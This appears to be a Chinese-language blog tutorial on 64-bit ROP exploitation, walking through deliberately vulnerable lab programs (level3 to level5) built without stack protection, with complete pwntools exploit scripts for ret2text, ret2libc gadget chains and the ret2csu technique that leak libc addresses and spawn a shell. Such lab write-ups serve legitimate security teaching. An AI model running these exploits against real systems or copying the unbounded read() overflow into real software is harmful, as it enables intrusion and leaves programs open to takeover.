蒸米32位ROP笔记 2

本文最后更新于:3 年前

继上一篇笔记 蒸米32位ROP ## level3——64位与32位区别

linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。

level3.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
system("/bin/sh");
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

打开系统的ASLR,然后用如下gcc命令编译,即不开启Canary:

1
gcc -fno-stack-protector level3.c -o level3

查看文件和安全编译选项开关:

image-20200820165711501
image-20200820165711501

使用gdb调试程序,pattern生成一大串字符串输入,发现程序终止在vulnerable_function()函数处,并没有如之前那样蹦出溢出地址。

image-20200820170928731
image-20200820170928731

原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。因为ret相当于pop rip指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。

在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示,随后我们就可以用pattern来计算溢出点。

由此我们可以得到偏移地址为:136,或者通过IDA分析计算式子如下:buf+EIP=0x80 + 0x8,也可以计算出同样的答案。

image-20200820171507448
image-20200820171507448

因为程序中存在后面函数callsystem(),内存地址为0x00000000004005B6

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process("./level3")

elf = ELF("./level3")
#callsystem_addr = elf.symbols["callsystem"]
callsystem_addr = 0x00000000004005B6
print "[*]callsystem() addr: " + hex(callsystem_addr)

payload = "A" * 136 + p64(callsystem_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()
image-20200820172228774
image-20200820172228774

level4——使用工具寻找gadgets

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI,RSI,RDX,RCX,R8R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:

ROPEME: https://github.com/packz/ropeme

Ropper: https://github.com/sashs/Ropper

ROPgadget: https://github.com/JonathanSa…

rp++: https://github.com/0vercl0k/rp

level4.c代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

编译,因为程序用到了dlopen()函数打开libc,因此需要-ldl参数:

1
gcc -fno-stack-protector level4.c -o level4 -ldl

查看文件动态链接,只开启了NX:

image-20200820172701448
image-20200820172701448

IDA分析可得,看到程序在一开始运行时调用systemaddr()函数,该函数会从本程序用到的libc.so.6中获取其中的system()函数地址并打印出来,和level3一样得到溢出偏移量为136。

在64位中传参的前六个参数是通过寄存器来实现的,而且system()只接受一个参数,因此我们需要找到一条pop rdi;ret的Gadget来帮助我们实现,这里我们用的是ROPgadget工具帮我们查找

image-20200820175800058
image-20200820175800058

一般情况下自身的程序可能没有合适的Gadgets,这时我们可以到指定的libc.so文件中找到合适的:

image-20200820175824054
image-20200820175824054

如果用的是libc中的Gadget则需要加上libc的实际地址来计算出该gadget的实际地址,因为libc.address =offset = system_addr- libc.symbols[‘system’]=gadget实际地址 - gadget在libc中地址

总体思路:通过ROPgadget找level4下pop ret的gadget,如果没有从程序调用的库文件中搜索,找到后构造ROP链。首先填充栈空间达到rip上内存空间。写入gadget地址和/bin/sh地址,再吧指针跳转到system()函数的位置,执行system("/bin/sh")

EXP1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process("./level4")

elf = ELF("./level4")
libc = elf.libc

## self gadget
#pop_rdi_ret_addr = 0x00000000004008b3
## libc gadget
pop_rdi_ret_libc = 0x0000000000021112

system_addr = int(p.recv(1024).split()[0], 16)
print "[*]recv system() addr: " + hex(system_addr)

libc.address = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
## libc gadget + libc addr
pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address
print "[*]/bin/sh libc addr: " + hex(binsh_addr)

payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()
image-20200820182831814
image-20200820182831814

又或者,除了前面找的pop rdi;ret这个Gadget,我们还可以找另外一个gadget,因为我们只需调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadgets来构造ROP链,如下:

image-20200820183630230
image-20200820183630230

可以看到pop rax;pop rdi;call rax这个gadget,我们可以先将rax赋值为system()的地址,rdi赋值为/bin/sh的地址,最后再调用call rax即可。

EXP2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process("./level4")

elf = ELF("./level4")
libc = elf.libc

#pop|call
pop_call_libc = 0x00000000001074d9

system_addr = int(p.recv(1024).split()[0], 16)
print "[*]recv system() addr: " + hex(system_addr)

libc.address = system_addr - libc.symbols["system"]
binsh_addr = next(libc.search("/bin/sh"))
# pop_rdi_ret_addr = pop_rdi_ret_libc + libc.address
pop_call_addr = pop_call_libc +libc.address
print "[*]/bin/sh libc addr: " + hex(binsh_addr)

#payload = "A" * 136 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
payload = "A" * 136 + p64(pop_call_addr) + p64(system_addr) + p64(binsh_addr)

print "[*]sending payload..."
p.sendline(payload)
p.interactive()
image-20200820183827668
image-20200820183827668

level5——通用gadgets

因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。

level5.c代码如下,相比于level3和level4,去掉了提供system()或其地址的辅助函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递/bin/sh.bss段,最后调用system(“/bin/sh”)。因为原程序使用了write()read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。

比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

编译:

1
gcc -fno-stack-protector -o level5 level5.c

基本功能和安全编译开关和前面的一致。溢出偏移量也和之前的一致,为136。

用objdump -d ./level5观察一下__libc_csu_init()这个函数:

image-20200820184816601
image-20200820184816601

可以看到黄色框中,利用0x40061a处的代码可以控制rbx、rbp、r12、r13、r14、r15的值,随后利用0x400600处的代码可以将r13的值赋值给rdx、r14的值赋值给rsi、r15的值赋值给edi(这和蒸米原文的顺序是相反的,因为本地编译出来的程序所用的gadget有些许区别,其实这里利用的就是ret2csu技巧),随后就会调用call qword ptr [r12+rbx*8]

这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。

我们先构造 payload1 ,利用 write() 输出 write 在内存中的地址。注意我们的 gadget 是 call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是 write.plt 的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

当我们 exp 在收到 write() 在内存中的地址后,就可以计算出 system() 在内存中的地址了。接着我们构造 payload2 ,利用 read()system() 的地址以及 /bin/sh读入到.bss段内存中。

最后我们构造 payload3 ,调用system() 函数执行 /bin/sh

注意: system() 的地址保存在了 .bss 段首地址上, /bin/sh 的地址保存在了 .bss 段首地址+8字节上。

总体思路:利用该gadget构造3段payload,分别是泄露write()函数地址、向程序.bss段写入”/bin/sh”和system()execve()函数地址、传入bss_addr+8处的参数并调用bss_addr地址处的函数即执行system(“/bin/sh”)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

p = process('./level5')

elf = ELF('level5')
libc = elf.libc
main = elf.symbols['main']
bss_addr = elf.bss()

gadget1 = 0x40061a
gadget2 = 0x400600

got_write = elf.got['write']
print "[*]write() got: " + hex(got_write)
got_read = elf.got['read']
print "[*]read() got: " + hex(got_read)

def csu(rbx, rbp, r12, r13, r14, r15, ret):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d, rsi=r14, rdx=r13
payload = "A" * 136
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += "B" * 56
payload += p64(ret)
return payload

#write(rdi=1, rsi=write.got, rdx=4)
payload1 = csu(0, 1, got_write, 8, got_write, 1, main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "[*]leak write() addr: " + hex(write_addr)

libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols["execve"]
print "[*]execve() addr: " + hex(execve_addr)

p.recvuntil("Hello, World\n")

#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = csu(0, 1, got_read, 16, bss_addr, 0, main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(execve_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#execve(rdi = bss_addr+8 = "/bin/sh", rsi=0, rdx=0)
payload3 = csu(0, 1, bss_addr, 0, 0, bss_addr + 8, main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!